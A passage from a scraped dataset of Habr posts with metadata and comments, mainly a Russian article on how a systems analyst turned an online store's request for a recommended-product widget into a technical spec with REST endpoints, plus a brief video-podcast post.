xmlns=\"http://www.w3.org/1999/xhtml\">Сам страх очень похож на тёмную материю из final exam. Есть ли между ними связь?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">С вышеупомянутой игрой (фильмом?) не знакомы :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://www.youtube.com/watch?v=tBVijv_5UyE#t=500\">www.youtube.com/watch?v=tBVijv_5UyE#t=500</a></div>" ], "message_markdown": [ "Не мобли бы вы детальнее о свете для полного новичка (возможно новым топиком)? Был бы очень благодарен.", "На самом деле, именно по свету — нет. Мы взяли готовое решение: u3d.as/content/reverie-interactive/2d-volumetric-lights/36x. И тюнили уже только бленды.", "Спасибо за краткий обзор, но всё-таки хотелось бы видеть больше технической информации.\nЯ как раз сейчас начинаю изучать Unity. Не подскажете, какие уроки лучше: официальные с их сайта, или есть что-то более качественное?", "К сожалению, не знаю. Обычно никаких уроков или литературы не смотрю/читаю. Только если по конкретным задачам. Например, как работать с каким-нибудь инструментом — открыл доку, посмотрел что под руку попалось — и вперед.\nКурс молодого бойца составить не могу. Помню только, что от «открыл юнити в первый раз» до «ааа, так все понятно» — у меня прошел 1 день. Но это было на флэшовый бэкграунд.", "Флешевый бэкграунд у меня тоже есть, и так же как и вы уже фигачил в первые дни всякую мелочёвку... Хотелось просто получить какую-нибудь основу, чтобы не объезжать грабли, на велосипедах сконструированных из костылей.", "Можете посмотреть здесь", "Да уж, в свете недавних событий Heartbeat действительно может вызвать фобию", "Спасибо! С удовольствием прочту оба ваших поста!\nСкажите, а ещё статьи из этой области намечаются?", "Не исключаю такой возможности", "Сам страх очень похож на тёмную материю из final exam. Есть ли между ними связь?", "С вышеупомянутой игрой (фильмом?) не знакомы :)", "www.youtube.com/watch?v=tBVijv_5UyE#t=500" ], "author": [ "slik", "Святослав (soulburner)", "Константин Давыденко (Shultc)", "Святослав (soulburner)", "Константин Давыденко (Shultc)", "Андрей Данилов (Andy_Ion)", "Мингалёв Олег (captain_obvious)", "Константин Давыденко (Shultc)", "Андрей Данилов (Andy_Ion)", "Archie_RU", "Святослав (soulburner)", "Archie_RU" ], "children": [ [ 7540731 ], [], [ 7540921 ], [ 7540933 ], [ 7541027 ], [ 7541065 ], [], [ 7541729 ], [], [ 7543983 ], [ 7565337 ], [] ] }
700,792
ru
https://habr.com/ru/post/700792/
Путь аналитика от получения пожеланий бизнеса до подготовки ТЗ для разработчиков: на примере реального кейса
В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков. Кроме того, в отдельных врезках я буду приводить объяснение той или иной технологии, того или иного понятия на доступном языке — для чайников (сама таким была и очень хотела, чтобы мне кто-то на пальцах объяснил все). Итак, начнем. Перед реальным бизнесом всегда стоит задача увеличения объемов продаж. Решается она разными способами, многие из которых подразумевают создание программного продукта, либо добавление новой функциональности в существующий. Наш бизнес-заказчик, интернет-магазин которого мы создали и продолжаем дорабатывать, провел анализ поведения пользователя на сайте и выяснил, что клиент достаточно много проводит времени на различных страницах сайта, представляющих ту или иную категорию товаров, при этом далеко не всегда это времяпровождение заканчивается добавлением товара в корзину. Поэтому были выдвинуты следующие требования: необходимо сподвигнуть клиента на добавление продукта в корзину; уменьшить время принятия решения по добавлению продукта в корзину. Для удовлетворения этих требований маркетингом было предложено следующее решение: около корзины покупателя на сайте отображать рекомендуемый данному конкретному клиенту продукт для быстрого добавления в корзину (в один клик); рекомендуемый клиенту продукт выбирается на основе анализа его предыдущей активности; при этом при переходе в различные разделы сайта должен рекомендоваться тот продукт, который предлагается в этом разделе; если покупателю не нравится предложенный продукт, он должен иметь возможность обновить его, т.е. одним кликом получить другой рекомендуемый продукт. Собственно говоря, на основе этих пунктов любой начинающий аналитик без труда напишет юзер-стори. А вот дальше начинается самое интересное. Системному аналитику нужно понять, как эта юзер-стори ляжет на архитектуру существующего эксплуатируемого решения (в нашем случае — интернет-магазина), и предложить вариант реализации. Текущая архитектура нашего интернет-магазина достаточно стандартна и является микросервисной. Используемый архитектурный подход — RESTful. На сайте крутятся скрипты vue.js, а различные сервисы на сервере реализуют логику, обрабатывают запросы от клиентов (тех самых скриптов). Vue.js для чайников Vue.js — это фреймворк для создания пользовательских интерфейсов на JavaScript. А фреймворк, в свою очередь, это программная среда, которая упрощает и ускоряет создание программного обеспечения. Он «берет на себя» тысячи нюансов, например работу с файловой системой и базами данных, обработку ошибок. В результате разработчику остается только написать код, реализующий нужную ему бизнес-логику. Таким образом, Vue.js — это блоки предварительно написанного кода, в которые программист может добавлять свой код для решения конкретных задач. Опираясь на текущее решение нашего интернет-магазина, было предложено следующее решение. Необходимо разработать сервис расчета рекомендованных продуктов RecommendedProductsService, в котором будет зашита вся логика формирования пула рекомендованных продуктов. Скрипт vue.js на клиенте методом GET, передавая токен пользователя, запрашивает пул рекомендованных продуктов у данного сервиса. Веб-токены для чайников Веб-токены представляют собой средство авторизации для каждого запроса от клиента к серверу. Они генерируются на сервере с использованием секретного ключа (который хранится на сервере). Токен же хранится на клиенте и используется при необходимости авторизации какого-либо запроса, т.е. для доказательства того, что данный запрос на сервер пришел от авторизованного клиента. В токене можно передавать любые пары ключ-значение, например имя пользователя и пароль для авторизации на сервере. При этом логика анализа активности покупателя и формирования пула (бизнес решил, что в каждом пуле будет по 20 элементов) рекомендованных продуктов была разработана отдельно и оказалась достаточно тяжелой и ресурсоемкой для сервера. Примечание. Описать алгоритм формирования пула рекомендованных продуктов — это тоже задача аналитика. И она оказалась весьма нетривиальной, включала в себя выгрузку данных по покупателям в отдельную базу данных, расчет процентилей, медиан и пр. В результате она заняла времени больше, чем все остальное. Но это уже тема для отдельной статьи, посвященной скорее математической статистике, нежели программированию. Поскольку получать очередной продукт из пула рекомендованных продуктов нужно либо по желанию пользователя (нажатие кнопки «Обновить»), либо при переходе в очередной раздел сайта, либо по истечении срока жизни пула, который составляет от 5 минут до 24 часов в зависимости от категории продуктов, то запросы на получение пула с сервера могут существенно увеличить нагрузку на сервер. Поэтому было предложено (что вполне очевидно в данной ситуации) использовать кэширование на клиенте, что позволит не дергать сервер каждый раз для выбора следующего из пула продукта. Возможность использования кэширования — один из принципов применяемого нами архитектурного подхода RESTful (довольно-таки подробно и понятно про кэширование в REST написано тут). Кэширование для чайников Это сохранение полученных данных локально на клиенте (клиентом может быть, например, браузер или десктопное/мобильное приложение) и дальнейшее использование при необходимости этой копии данных, а не обращение за ней каждый раз на сервер. Итак, общая архитектура решения стала прорисовываться. Осталось определить конечные точки нашего сервиса, передаваемые и получаемые параметры (в идеале – с их типами) и методы, которые скрипт будет использовать при обращении к ним. Пулы рекомендованных продуктов, которые мы запрашиваем у сервера, а потом кэшируем на клиенте, зависят от раздела сайта, на котором находится покупатель. У нас 3 раздела. Соответственно, будет 3 конечных точки, которые мы назовем в соответствии с названиями разделов. Обращаться мы к ним будем, само собой разумеется, методом GET: Получение пула рекомендованных продуктов для раздела сайта 1: [code] GET /RecommendedProductsService/WebsiteSection1/ [/code] Получение пула рекомендованных продуктов для раздела сайта 2: [code] GET /RecommendedProductsService/WebsiteSection2/ [/code] Получение пула рекомендованных продуктов для раздела сайта 3: [code] GET /RecommendedProductsService/WebsiteSection3/ [/code] При этом токен пользователя передается в заголовке (header) запроса. Возвращаемым параметром является массив из 20 объектов, каждый из которых представлен набором значений, определяющих соответствующий продукт раздела (например, цвет, цена, размер). Типы параметров объекта соответствуют типам полей в базе данных объекта: [code] {"WebsiteSection1Products": [ { "color", "price", "size" } ] } [/code] Вот собственно и все. Теперь осталось все это грамотно изложить в конфлюенсе и можно отдавать в разработку. Вывод. В описанном кейсе показан путь, который прошел аналитик от момента получения общих пожеланий бизнес-заказчика через трансформацию их в функциональные требования в отделе маркетинга до выработки конкретного решения с учетом архитектуры существующего решения и подготовки технического задания для разработчиков. В результате от аналитика потребовалось не только умение получить и понять требования бизнес-заказчика и маркетинга, но и знание основ математической статистики, хорошее понимание существующей архитектуры решения и используемых технологий.
<div xmlns="http://www.w3.org/1999/xhtml"><p>В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков. Кроме того, в отдельных врезках я буду приводить объяснение той или иной технологии, того или иного понятия на доступном языке — для чайников (сама таким была и очень хотела, чтобы мне кто-то на пальцах объяснил все).</p><p>Итак, начнем.</p><p>Перед реальным бизнесом всегда стоит задача увеличения объемов продаж. Решается она разными способами, многие из которых подразумевают создание программного продукта, либо добавление новой функциональности в существующий. Наш бизнес-заказчик, интернет-магазин которого мы создали и продолжаем дорабатывать, провел анализ поведения пользователя на сайте и выяснил, что клиент достаточно много проводит времени на различных страницах сайта, представляющих ту или иную категорию товаров, при этом далеко не всегда это времяпровождение заканчивается добавлением товара в корзину. Поэтому были выдвинуты следующие требования:</p><ul><li><p>необходимо сподвигнуть клиента на добавление продукта в корзину;</p></li><li><p>уменьшить время принятия решения по добавлению продукта в корзину.</p></li></ul><p>Для удовлетворения этих требований маркетингом было предложено следующее решение:</p><ul><li><p>около корзины покупателя на сайте отображать рекомендуемый данному конкретному клиенту продукт для быстрого добавления в корзину (в один клик);</p></li><li><p>рекомендуемый клиенту продукт выбирается на основе анализа его предыдущей активности;</p></li><li><p>при этом при переходе в различные разделы сайта должен рекомендоваться тот продукт, который предлагается в этом разделе;</p></li><li><p>если покупателю не нравится предложенный продукт, он должен иметь возможность обновить его, т.е. одним кликом получить другой рекомендуемый продукт.</p></li></ul><p>Собственно говоря, на основе этих пунктов любой начинающий аналитик без труда напишет юзер-стори. А вот дальше начинается самое интересное. Системному аналитику нужно понять, как эта юзер-стори ляжет на архитектуру существующего эксплуатируемого решения (в нашем случае — интернет-магазина), и предложить вариант реализации.</p><p>Текущая архитектура нашего интернет-магазина достаточно стандартна и является микросервисной. Используемый архитектурный подход — <a href="https://starkovden.github.io/what-is-rest-api.html" rel="noopener noreferrer nofollow">RESTful</a>. На сайте крутятся скрипты <a href="https://webkyrs.info/page/chto-takoe-vue-js" rel="noopener noreferrer nofollow">vue.js</a>, а различные сервисы на сервере реализуют логику, обрабатывают запросы от клиентов (тех самых скриптов).</p><details class="spoiler"><summary>Vue.js для чайников</summary><div class="spoiler__content"><p>Vue.js — это фреймворк для создания пользовательских интерфейсов на JavaScript. А фреймворк, в свою очередь, это программная среда, которая упрощает и ускоряет создание программного обеспечения. Он «берет на себя» тысячи нюансов, например работу с файловой системой и базами данных, обработку ошибок. В результате разработчику остается только написать код, реализующий нужную ему бизнес-логику. Таким образом, Vue.js — это блоки предварительно написанного кода, в которые программист может добавлять свой код для решения конкретных задач.</p></div></details><p>Опираясь на текущее решение нашего интернет-магазина, было предложено следующее решение.</p><p>Необходимо разработать сервис расчета рекомендованных продуктов RecommendedProductsService, в котором будет зашита вся логика формирования пула рекомендованных продуктов.</p><p>Скрипт vue.js на клиенте методом GET, передавая <a href="https://gist.github.com/zmts/802dc9c3510d79fd40f9dc38a12bccfc" rel="noopener noreferrer nofollow">токен</a> пользователя, запрашивает пул рекомендованных продуктов у данного сервиса.</p><details class="spoiler"><summary>Веб-токены для чайников</summary><div class="spoiler__content"><p>Веб-токены представляют собой средство авторизации для каждого запроса от клиента к серверу. Они генерируются на сервере с использованием секретного ключа (который хранится на сервере). Токен же хранится на клиенте и используется при необходимости авторизации какого-либо запроса, т.е. для доказательства того, что данный запрос на сервер пришел от авторизованного клиента. В токене можно передавать любые пары ключ-значение, например имя пользователя и пароль для авторизации на сервере.</p></div></details><p>При этом логика анализа активности покупателя и формирования пула (бизнес решил, что в каждом пуле будет по 20 элементов) рекомендованных продуктов была разработана отдельно и оказалась достаточно тяжелой и ресурсоемкой для сервера.</p><p><strong><u>Примечание.</u></strong> Описать алгоритм формирования пула рекомендованных продуктов — это тоже задача аналитика. И она оказалась весьма нетривиальной, включала в себя выгрузку данных по покупателям в отдельную базу данных, расчет процентилей, медиан и пр. В результате она заняла времени больше, чем все остальное. Но это уже тема для отдельной статьи, посвященной скорее математической статистике, нежели программированию.</p><p>Поскольку получать очередной продукт из пула рекомендованных продуктов нужно либо по желанию пользователя (нажатие кнопки «Обновить»), либо при переходе в очередной раздел сайта, либо по истечении срока жизни пула, который составляет от 5 минут до 24 часов в зависимости от категории продуктов, то запросы на получение пула с сервера могут существенно увеличить нагрузку на сервер. Поэтому было предложено (что вполне очевидно в данной ситуации) использовать кэширование на клиенте, что позволит не дергать сервер каждый раз для выбора следующего из пула продукта. Возможность использования кэширования — один из принципов применяемого нами архитектурного подхода RESTful (довольно-таки подробно и понятно про кэширование в REST написано <a href="https://systems.education/what-is-rest" rel="noopener noreferrer nofollow">тут</a>).</p><details class="spoiler"><summary>Кэширование для чайников</summary><div class="spoiler__content"><p>Это сохранение полученных данных локально на клиенте (клиентом может быть, например, браузер или десктопное/мобильное приложение) и дальнейшее использование при необходимости этой копии данных, а не обращение за ней каждый раз на сервер.</p></div></details><p>Итак, общая архитектура решения стала прорисовываться. Осталось определить конечные точки нашего сервиса, передаваемые и получаемые параметры (в идеале – с их типами) и методы, которые скрипт будет использовать при обращении к ним.</p><p>Пулы рекомендованных продуктов, которые мы запрашиваем у сервера, а потом кэшируем на клиенте, зависят от раздела сайта, на котором находится покупатель. У нас 3 раздела. Соответственно, будет 3 конечных точки, которые мы назовем в соответствии с названиями разделов. Обращаться мы к ним будем, само собой разумеется, методом GET:</p><p>Получение пула рекомендованных продуктов для раздела сайта 1:</p><pre><code>GET /RecommendedProductsService/WebsiteSection1/</code></pre><p>Получение пула рекомендованных продуктов для раздела сайта 2:</p><pre><code>GET /RecommendedProductsService/WebsiteSection2/</code></pre><p>Получение пула рекомендованных продуктов для раздела сайта 3:</p><pre><code>GET /RecommendedProductsService/WebsiteSection3/</code></pre><p>При этом токен пользователя передается в заголовке (header) запроса. Возвращаемым параметром является массив из 20 объектов, каждый из которых представлен набором значений, определяющих соответствующий продукт раздела (например, цвет, цена, размер). Типы параметров объекта соответствуют типам полей в базе данных объекта:</p><pre><code class="cs">{"WebsiteSection1Products": [ { "color", "price", "size" } ] }</code></pre><p>Вот собственно и все. Теперь осталось все это грамотно изложить в конфлюенсе и можно отдавать в разработку.</p><p><strong><u>Вывод.</u></strong> В описанном кейсе показан путь, который прошел аналитик от момента получения общих пожеланий бизнес-заказчика через трансформацию их в функциональные требования в отделе маркетинга до выработки конкретного решения с учетом архитектуры существующего решения и подготовки технического задания для разработчиков. В результате от аналитика потребовалось не только умение получить и понять требования бизнес-заказчика и маркетинга, но и знание основ математической статистики, хорошее понимание существующей архитектуры решения и используемых технологий.</p><p></p></div>
BA_TW
null
null
<p>В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков. Кроме того, в отдельных врезках я буду приводить объяснение той или иной технологии, того или иного понятия на доступном языке — для чайников (сама таким была и очень хотела, чтобы мне кто-то на пальцах объяснил все).</p><p>Итак, начнем.</p><p></p>
В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков. Кроме того, в отдельных врезках я буду приводить объяснение той или иной технологии, того или иного понятия на доступном языке — для чайников (сама таким была и очень хотела, чтобы мне кто-то на пальцах объяснил все). Итак, начнем.
article
1,669,103,640
{ "commentsCount": 11, "favoritesCount": 25, "readingCount": 3939, "score": 1, "votesCount": 3, "votesCountPlus": 2, "votesCountMinus": 1 }
[ "technotext2022" ]
[ "analysis_design", "technical_writing" ]
[ "develop", "management" ]
[ "техническое задание; тз;", "аналитика", "анализ", "анализ и проектирование систем", "rest", "restful", "restful api", "vue.js", "токен", "кэширование" ]
5
null
null
{ "id": [ 24949184, 24949354, 24998558, 25000948, 25000962, 25000964, 25000972, 25000982, 25000986, 25001004, 25019212 ], "parent_id": [ null, 24949184, null, null, 25000948, null, 25000964, 24998558, 24949354, 25000986, 25000962 ], "level": [ 0, 1, 0, 0, 1, 0, 1, 1, 2, 3, 2 ], "time_published": [ 1669368971, 1669370630, 1670798546, 1670856633, 1670856929, 1670856945, 1670857048, 1670857193, 1670857264, 1670857354, 1671294112 ], "score": [ 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0 ], "votes": [ 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Между бизнесом и разработкой - работа с требованиями (и их формализация) - у вас ее нет. Максимально сырая постановка.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это не было задачей данной статьи. Я хотела показать, с чем, с кем и на каких этапах приходится работать системному аналитику, что он получает на вход и что выдает на выходе. Детальная проработка требований - это тема отдельной статьи.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ближек концу, немного скомкано, но все равно спасибо за материал, продолжайте в том же духе!</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Скажите, а зачем вам три разных эндпойнта, если контракт запроса-ответа один и тот же?</p><ul><li><p>Если в магазине появится новый раздел - придется делать новую \"ручку\"</p></li><li><p>Если потребуется изменить контракт (добавить вывод картинки, например) - придется дорабатывать все три \"ручки\"</p></li></ul><p>А если передать кодовое название раздела в параметрах запроса - и у вас будет универсальный масштабируемый инструмент</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо за комментарий! В итоге так и сделала. :-) Выложила статью еще до того, как до конца продумала и проработала ТЗ. В итоге после дополнительных размышлений сделала да, один endpoint. Но статью решила не исправлять.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Интересно. А менеджер проекта тут участвовал или его роль отчасти выполнил аналитик?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>У нас сейчас в компании сложилась такая структура, что менеджеры проекта больше выполняют роль администраторов проекта. Они подключаются на этапе, когда аналитики передают им готовое ТЗ, назначают ресурсы и уже управляют ими.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо. :-)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков </p></blockquote><p>Таки заявлена цель статьи в первом же предложении. Однако дальше идет перечисление гипотез маркетинга и сразу:</p><blockquote><p>Собственно говоря, на основе этих пунктов любой начинающий аналитик без труда напишет юзер-стори. </p></blockquote><p>То есть проверять, анализировать гипотезы и уточнять цели не нужно? <strong>Тогда это не весь путь превращения требований</strong>. А проблема в том, что без анализа получится плохое решение, и это боком выйдет самим разработчикам, они и будут виноваты, так как плохо выполнили задание маркетинга. А без анализа задания как это понять? Это конечно вопрос к маркетингу, но почему они решили, что клиенту нужно предлагать рекомендации на основе его (клиента то есть) опыта, если его опыт такой, что он ищет-ищет, а найти ничего не может? Опыт плохой, и рекомендация на основе этого опыта тоже будет плохая. Тут может быть лучше было бы показывать, что другие покупают в этих категориях, может быть на основе анализа поисковых запросов, но это уже детали, в которые вникать никто не любит. Особенно бизнес. Написать юзер стори из двух частей вместо трех это у бизнеса любимое занятие.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да, отчасти Вы правы. Мы слепо доверились маркетингу. :-)<br/>Но у нас ситуация, когда у пользователя богатый положительный опыт конкретно в нашем магазине, поэтом мы можем смело доверять анализу его активности и советовать именно то, что выдаст мат модель.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Отличный подход, продолжайте в том же духе!</p></div>" ], "message_markdown": [ "Между бизнесом и разработкой - работа с требованиями (и их формализация) - у вас ее нет. Максимально сырая постановка.", "Это не было задачей данной статьи. Я хотела показать, с чем, с кем и на каких этапах приходится работать системному аналитику, что он получает на вход и что выдает на выходе. Детальная проработка требований - это тема отдельной статьи.", "Ближек концу, немного скомкано, но все равно спасибо за материал, продолжайте в том же духе!", "Скажите, а зачем вам три разных эндпойнта, если контракт запроса-ответа один и тот же?\n Если в магазине появится новый раздел - придется делать новую \"ручку\"\n Если потребуется изменить контракт (добавить вывод картинки, например) - придется дорабатывать все три \"ручки\"\nА если передать кодовое название раздела в параметрах запроса - и у вас будет универсальный масштабируемый инструмент", "Спасибо за комментарий! В итоге так и сделала. :-) Выложила статью еще до того, как до конца продумала и проработала ТЗ. В итоге после дополнительных размышлений сделала да, один endpoint. Но статью решила не исправлять.", "Интересно. А менеджер проекта тут участвовал или его роль отчасти выполнил аналитик?", "У нас сейчас в компании сложилась такая структура, что менеджеры проекта больше выполняют роль администраторов проекта. Они подключаются на этапе, когда аналитики передают им готовое ТЗ, назначают ресурсы и уже управляют ими.", "Спасибо. :-)", "> В этой статье на реальном кейсе я хочу рассмотреть весь путь превращения требований от бизнес-заказчика в техническое задание для разработчиков\nТаки заявлена цель статьи в первом же предложении. Однако дальше идет перечисление гипотез маркетинга и сразу:\n> Собственно говоря, на основе этих пунктов любой начинающий аналитик без труда напишет юзер-стори.\nТо есть проверять, анализировать гипотезы и уточнять цели не нужно? Тогда это не весь путь превращения требований. А проблема в том, что без анализа получится плохое решение, и это боком выйдет самим разработчикам, они и будут виноваты, так как плохо выполнили задание маркетинга. А без анализа задания как это понять? Это конечно вопрос к маркетингу, но почему они решили, что клиенту нужно предлагать рекомендации на основе его (клиента то есть) опыта, если его опыт такой, что он ищет-ищет, а найти ничего не может? Опыт плохой, и рекомендация на основе этого опыта тоже будет плохая. Тут может быть лучше было бы показывать, что другие покупают в этих категориях, может быть на основе анализа поисковых запросов, но это уже детали, в которые вникать никто не любит. Особенно бизнес. Написать юзер стори из двух частей вместо трех это у бизнеса любимое занятие.", "Да, отчасти Вы правы. Мы слепо доверились маркетингу. :-)\nНо у нас ситуация, когда у пользователя богатый положительный опыт конкретно в нашем магазине, поэтом мы можем смело доверять анализу его активности и советовать именно то, что выдаст мат модель.", "Отличный подход, продолжайте в том же духе!" ], "author": [ "oldzas", "BA_TW", "Роман (BosonBeard)", "Tat_Ksard", "BA_TW", "Екатерина (Katerina_yrs)", "BA_TW", "BA_TW", "Гончаров Михаил (Kanamaha)", "BA_TW", "Виктор Глейм (ViseMoD)" ], "children": [ [ 24949354 ], [ 25000986 ], [ 25000982 ], [ 25000962 ], [ 25019212 ], [ 25000972 ], [], [], [ 25001004 ], [], [] ] }
70,577
ru
https://habr.com/ru/post/70577/
Пилотный видеоподкаст SOUS TV
Писать особо нечего. Пробуем, пытаемся сделать круто. Хочется ваших комментариев и пожеланий :)
<div xmlns="http://www.w3.org/1999/xhtml">Писать особо нечего. Пробуем, пытаемся сделать круто. Хочется ваших комментариев и пожеланий :)<br/> <br/> <div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/rL5SarkGv_o?feature=oembed" data-style="" id="" width="420"></div></div>
Cameraman (Cameraman)
null
null
Писать особо нечего. Пробуем, пытаемся сделать круто. Хочется ваших комментариев и пожеланий :)<br/> <br/> <iframe width="420" height="315" src="https://www.youtube.com/embed/rL5SarkGv_o?feature=oembed" frameborder="0" allowfullscreen></iframe>
Писать особо нечего. Пробуем, пытаемся сделать круто. Хочется ваших комментариев и пожеланий :)
article
1,253,822,258
{ "commentsCount": 20, "favoritesCount": 0, "readingCount": 406, "score": 4, "votesCount": 12, "votesCountPlus": 8, "votesCountMinus": 4 }
[]
[ "closet" ]
[ "popsci" ]
[ "видеоподкаст" ]
1
null
null
{ "id": [ 13616017, 13616019, 13616021, 13616023, 13616025, 13616027, 13616029, 13616031, 13616033, 13616035, 13616037, 13616039, 13616041, 13616043, 13616045, 13616047, 13616049, 13616051, 13616053, 13616055 ], "parent_id": [ null, null, null, null, null, null, 13616027, null, 13616029, null, null, 13616037, 13616023, null, 13616039, null, null, null, null, 13616053 ], "level": [ 0, 0, 0, 0, 0, 0, 1, 0, 2, 0, 0, 1, 1, 0, 2, 0, 0, 0, 0, 1 ], "time_published": [ 1253823180, 1253823794, 1253823851, 1253823912, 1253823999, 1253824202, 1253824291, 1253824513, 1253824555, 1253825027, 1253825883, 1253826303, 1253827618, 1253831674, 1253842111, 1253854245, 1253857243, 1253861127, 1253862323, 1253864534 ], "score": [ 0, 0, 0, 5, 0, 0, 0, 2, 0, 0, 0, 0, 1, 3, 0, 0, 0, 0, 0, 1 ], "votes": [ 0, 2, 0, 7, 0, 0, 0, 2, 0, 0, 0, 0, 1, 3, 0, 0, 0, 0, 0, 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Демидович вроде отменяется, если верить Lenta.ru. <br/>\r\nА фотожабы — это с d3? Вроде там этот пост был уже давно, явно не на этой неделе :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне понравилось)) побольше бы новостей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">так… позитивно =)<br/>\r\nв час ночи то =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Девушка симпатичная. И мимика забавная, смотреть приятно. Ну и сам подкаст как для пилотного — ничего. Досмотрел до конца, что есть хорошо:) Удачи вам!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну да актуальность потеряна, но пока налаживали технологию неделя прошла уже. Но в будущем конечно будет всё оперативно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">сайт бы еще узреть =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">сайт завтра должен появиться :) Всё пилотное в процессе запуска :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да, прикольно будет смотреться<br/>\r\nГде мой яйк?<br/>\r\nА у меня целых два яйка)<br/>\r\nПойду на яйках покатаюсь.<br/>\r\nОоо какие у тебя яйки<br/>\r\n<br/>\r\n:D</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">чудесно =)<br/>\r\nрастити и процвитайти =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Супер!!! побольше бы информации, а так молодцы</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А зачем на фоне колонки, клавишы и гитара? Я подумал что это музыкальный подкаст, а там «лента» да «лепра».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это вроде dj с радио nrj… Может это их студия… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Абсолютно согласен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот отписываются что понравилось…<br/>\r\nА мне к примеру не понравилось… такое крутить можно где-то на канале типа МузТВ и т.д., но никак не на хабре, да и лучше бы больше материала и меньше брыканий диджейки… эт лично мое мнение… Хотя может я сильно серьезно отношусь, но меня уже тошнит от этих всех «посмотрите как у меня рот открыт» или «посмотрите как я руками машу»… напоминает Камеди-клаб старый и их номер «Фотки на Одноклассниках»… хотя фломастеры конечно разные…<br/>\r\n<br/>\r\nPS: за выражение мнения в культурной форме, надеюсь не минусуют, а то честно говоря стремновато :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Похоже на то, и зовут ее Юлия Николина.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Все понравилось, ждем еще. Утром смотреть такой позитив очень даже отлично</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Позвольте разбавить всеобщее одобрение своим «не отвратительно».<br/>\r\nИ да, фотожабы с такой скоростью да еще без камментов с d3 совсем не катят.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Симпотичная девушка!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как же вы все надоели… симпАтичная, симпАтичная, симпАтичная. Запомните, и запишите где-нибудь уже наконец!</div>" ], "message_markdown": [ "Демидович вроде отменяется, если верить Lenta.ru.\nА фотожабы — это с d3? Вроде там этот пост был уже давно, явно не на этой неделе :)", "А мне понравилось)) побольше бы новостей.", "так... позитивно =)\nв час ночи то =)", "Девушка симпатичная. И мимика забавная, смотреть приятно. Ну и сам подкаст как для пилотного — ничего. Досмотрел до конца, что есть хорошо:) Удачи вам!", "ну да актуальность потеряна, но пока налаживали технологию неделя прошла уже. Но в будущем конечно будет всё оперативно.", "сайт бы еще узреть =)", "сайт завтра должен появиться :) Всё пилотное в процессе запуска :)", "да, прикольно будет смотреться\nГде мой яйк?\nА у меня целых два яйка)\nПойду на яйках покатаюсь.\nОоо какие у тебя яйки\n:D", "чудесно =)\nрастити и процвитайти =)", "Супер!!! побольше бы информации, а так молодцы", "А зачем на фоне колонки, клавишы и гитара? Я подумал что это музыкальный подкаст, а там «лента» да «лепра».", "Это вроде dj с радио nrj... Может это их студия...", "Абсолютно согласен.", "Вот отписываются что понравилось...\nА мне к примеру не понравилось... такое крутить можно где-то на канале типа МузТВ и т.д., но никак не на хабре, да и лучше бы больше материала и меньше брыканий диджейки... эт лично мое мнение... Хотя может я сильно серьезно отношусь, но меня уже тошнит от этих всех «посмотрите как у меня рот открыт» или «посмотрите как я руками машу»... напоминает Камеди-клаб старый и их номер «Фотки на Одноклассниках»... хотя фломастеры конечно разные...\nPS: за выражение мнения в культурной форме, надеюсь не минусуют, а то честно говоря стремновато :)", "Похоже на то, и зовут ее Юлия Николина.", "Все понравилось, ждем еще. Утром смотреть такой позитив очень даже отлично", "Позвольте разбавить всеобщее одобрение своим «не отвратительно».\nИ да, фотожабы с такой скоростью да еще без камментов с d3 совсем не катят.", "UFO just landed and posted this here", "Симпотичная девушка!", "Как же вы все надоели... симпАтичная, симпАтичная, симпАтичная. Запомните, и запишите где-нибудь уже наконец!" ], "author": [ "mr_idiot (mr_idiot)", "Pandorin (Pandorin)", "Alex (potap)", "Megaton DeTrua (megatondetrua)", "Cameraman (Cameraman)", "Alex (potap)", "Cameraman (Cameraman)", "mike nimoff (nimoff)", "Alex (potap)", "Дмитрий Нестерюк (nest_d)", "Александр Жулин (AIN)", "Илья 